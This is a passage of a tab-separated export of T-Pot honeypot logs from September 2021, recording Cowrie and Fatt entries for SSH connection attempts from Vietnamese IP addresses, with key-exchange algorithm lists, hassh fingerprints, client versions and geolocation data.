"@timestamp": "2021-09-20T11:07:16.984Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23221	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:16.314963+03	2021-09-20 14:15:07.227471+03	{"_id": "2QbjAnwBvYTbRNuEhAgb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4f296091d354", "@version": "1", "timestamp": "2021-09-20T11:07:16.314963Z", "@timestamp": "2021-09-20T11:07:16.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23222	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:16.470288+03	2021-09-20 14:15:07.22947+03	{"_id": "6AbjAnwBvYTbRNuEhAgc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "fa9110283934", "@version": "1", "timestamp": "2021-09-20T11:07:16.470288Z", "@timestamp": "2021-09-20T11:07:16.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23223	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:17.073327+03	2021-09-20 14:15:07.2305+03	{"_id": "3QbjAnwBvYTbRNuEhAgb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a84799560cf6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:17.073327Z", "@timestamp": "2021-09-20T11:07:17.073Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23224	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:16.104837+03	2021-09-20 14:15:07.231498+03	{"_id": "9AbjAnwBvYTbRNuEhAgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33464, "dest_port": 22, "timestamp": "2021-09-20T11:07:16.104837", "@timestamp": "2021-09-20T11:07:16.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23225	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:16.314014+03	2021-09-20 14:15:07.232472+03	{"_id": "9QbjAnwBvYTbRNuEhAgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56818, "timestamp": "2021-09-20T11:07:16.314014", "@timestamp": "2021-09-20T11:07:16.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23226	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:16.314464+03	2021-09-20 14:15:07.23447+03	{"_id": "9gbjAnwBvYTbRNuEhAgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56818, "dest_port": 22, "timestamp": "2021-09-20T11:07:16.314464", "@timestamp": "2021-09-20T11:07:16.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23227	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:16.458657+03	2021-09-20 14:15:07.235471+03	{"_id": "9wbjAnwBvYTbRNuEhAgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42036, "timestamp": "2021-09-20T11:07:16.458657", "@timestamp": "2021-09-20T11:07:16.458Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23228	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:16.469616+03	2021-09-20 14:15:07.237471+03	{"_id": "-AbjAnwBvYTbRNuEhAgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 